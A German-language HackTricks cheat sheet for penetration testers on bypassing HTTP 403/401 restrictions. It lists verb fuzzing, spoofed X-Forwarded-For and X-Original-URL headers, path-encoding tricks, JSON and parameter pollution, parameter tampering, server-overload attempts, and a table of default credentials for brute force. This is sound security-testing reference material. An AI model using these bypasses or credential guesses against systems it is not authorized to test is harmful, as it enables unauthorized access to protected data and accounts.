403 & 401 Bypasses

Unterstützen Sie HackTricks

Sofort verfügbarer Setup für Schwachstellenbewertung & Penetrationstests. Führen Sie einen vollständigen Pentest von überall mit 20+ Tools und Funktionen durch, die von Recon bis Reporting reichen. Wir ersetzen keine Pentester - wir entwickeln benutzerdefinierte Tools, Erkennungs- und Ausnutzungs-Module, um ihnen etwas Zeit zurückzugeben, um tiefer zu graben, Shells zu öffnen und Spaß zu haben.

HTTP Verbs/Methods Fuzzing

Versuchen Sie, verschiedene Verben zu verwenden, um auf die Datei zuzugreifen: GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK

  • Überprüfen Sie die Antwort-Header, vielleicht können einige Informationen gegeben werden. Zum Beispiel bedeutet eine 200-Antwort auf HEAD mit Content-Length: 55, dass das HEAD-Verb auf die Info zugreifen kann. Aber Sie müssen immer noch einen Weg finden, diese Info zu exfiltrieren.

  • Verwenden Sie einen HTTP-Header wie X-HTTP-Method-Override: PUT, um das verwendete Verb zu überschreiben.

  • Verwenden Sie das TRACE-Verb und wenn Sie sehr viel Glück haben, können Sie vielleicht in der Antwort auch die von Zwischenproxies hinzugefügten Header sehen, die nützlich sein könnten.

HTTP Headers Fuzzing

  • Ändern Sie den Host-Header auf einen beliebigen Wert (das hat hier funktioniert)

  • Versuchen Sie, andere User Agents zu verwenden, um auf die Ressource zuzugreifen.

  • Fuzz HTTP-Header: Versuchen Sie, HTTP-Proxy-Header, HTTP-Authentifizierung Basic und NTLM-Brute-Force (nur mit wenigen Kombinationen) und andere Techniken zu verwenden. Um all dies zu tun, habe ich das Tool fuzzhttpbypass erstellt.

  • X-Originating-IP: 127.0.0.1

  • X-Forwarded-For: 127.0.0.1

  • X-Forwarded: 127.0.0.1

  • Forwarded-For: 127.0.0.1

  • X-Remote-IP: 127.0.0.1

  • X-Remote-Addr: 127.0.0.1

  • X-ProxyUser-Ip: 127.0.0.1

  • X-Original-URL: 127.0.0.1

  • Client-IP: 127.0.0.1

  • True-Client-IP: 127.0.0.1

  • Cluster-Client-IP: 127.0.0.1

  • X-ProxyUser-Ip: 127.0.0.1

  • Host: localhost

Wenn der Pfad geschützt ist, können Sie versuchen, den Pfadschutz mit diesen anderen Headern zu umgehen:

  • X-Original-URL: /admin/console

  • X-Rewrite-URL: /admin/console

  • Wenn die Seite hinter einem Proxy ist, könnte es der Proxy sein, der Sie daran hindert, auf die privaten Informationen zuzugreifen. Versuchen Sie, HTTP Request Smuggling oder Hop-by-Hop-Header** auszunutzen.**

  • Fuzz spezielle HTTP-Header auf der Suche nach unterschiedlichen Antworten.

  • Fuzz spezielle HTTP-Header, während Sie HTTP-Methoden fuzzing.

  • Entfernen Sie den Host-Header, und vielleicht können Sie den Schutz umgehen.

Path Fuzzing

Wenn /path blockiert ist:

  • Versuchen Sie, /%2e/path _ (wenn der Zugriff durch einen Proxy blockiert wird, könnte dies den Schutz umgehen). Versuchen Sie auch_** /%252e**/path (doppelte URL-Codierung)

  • Versuchen Sie Unicode-Bypass: /%ef%bc%8fpath (Die URL-codierten Zeichen sind wie "/"), sodass es beim Zurückcodieren //path sein wird und Sie möglicherweise bereits die /path-Namensüberprüfung umgangen haben.

  • Andere Pfad-Bypässe:

  • site.com/secret –> HTTP 403 Forbidden

  • site.com/SECRET –> HTTP 200 OK

  • site.com/secret/ –> HTTP 200 OK

  • site.com/secret/. –> HTTP 200 OK

  • site.com//secret// –> HTTP 200 OK

  • site.com/./secret/.. –> HTTP 200 OK

  • site.com/;/secret –> HTTP 200 OK

  • site.com/.;/secret –> HTTP 200 OK

  • site.com//;//secret –> HTTP 200 OK

  • site.com/secret.json –> HTTP 200 OK (ruby)

  • Verwenden Sie diese Liste in den folgenden Situationen:

  • /FUZZsecret

  • /FUZZ/secret

  • /secretFUZZ

  • Andere API-Bypässe:

  • /v3/users_data/1234 --> 403 Forbidden

  • /v1/users_data/1234 --> 200 OK

  • {“id”:111} --> 401 Unauthorisiert

  • {“id”:[111]} --> 200 OK

  • {“id”:111} --> 401 Unauthorisiert

  • {“id”:{“id”:111}} --> 200 OK

  • {"user_id":"<legit_id>","user_id":"<victims_id>"} (JSON Parameter Pollution)

  • user_id=ATTACKER_ID&user_id=VICTIM_ID (Parameter Pollution)

Parameter Manipulation

  • Ändern Sie den Parametervalue: Von id=123 --> id=124

  • Fügen Sie zusätzliche Parameter zur URL hinzu: ?id=124 —-> id=124&isAdmin=true

  • Entfernen Sie die Parameter

  • Ändern Sie die Reihenfolge der Parameter

  • Verwenden Sie Sonderzeichen.

  • Führen Sie Grenzwerttests in den Parametern durch — geben Sie Werte wie -234 oder 0 oder 99999999 (nur einige Beispielwerte) an.

Protokollversion

Wenn Sie HTTP/1.1 verwenden, versuchen Sie, 1.0 zu verwenden oder testen Sie, ob es 2.0 unterstützt.

Andere Bypässe

  • Holen Sie sich die IP oder CNAME der Domain und versuchen Sie, sie direkt zu kontaktieren.

  • Versuchen Sie, den Server zu belasten, indem Sie gängige GET-Anfragen senden (Es hat für diesen Typen mit Facebook funktioniert).

  • Ändern Sie das Protokoll: von http zu https oder von https zu http

  • Gehen Sie zu https://archive.org/web/ und überprüfen Sie, ob die Datei in der Vergangenheit weltweit zugänglich war.

Brute Force

  • Raten Sie das Passwort: Testen Sie die folgenden gängigen Anmeldeinformationen. Wissen Sie etwas über das Opfer? Oder den Namen der CTF-Herausforderung?

  • Brute Force: Versuchen Sie grundlegende, Digest- und NTLM-Authentifizierung.

Common creds
admin    admin
admin    password
admin    1234
admin    admin1234
admin    123456
root     toor
test     test
guest    guest

Automatische Werkzeuge

Sofort verfügbarer Setup für Schwachstellenbewertung & Penetrationstests. Führen Sie einen vollständigen Pentest von überall mit über 20 Werkzeugen und Funktionen durch, die von Recon bis Reporting reichen. Wir ersetzen keine Pentester - wir entwickeln maßgeschneiderte Werkzeuge, Erkennungs- und Ausnutzungs-Module, um ihnen etwas Zeit zurückzugeben, um tiefer zu graben, Shells zu knacken und Spaß zu haben.

Unterstützen Sie HackTricks

Last updated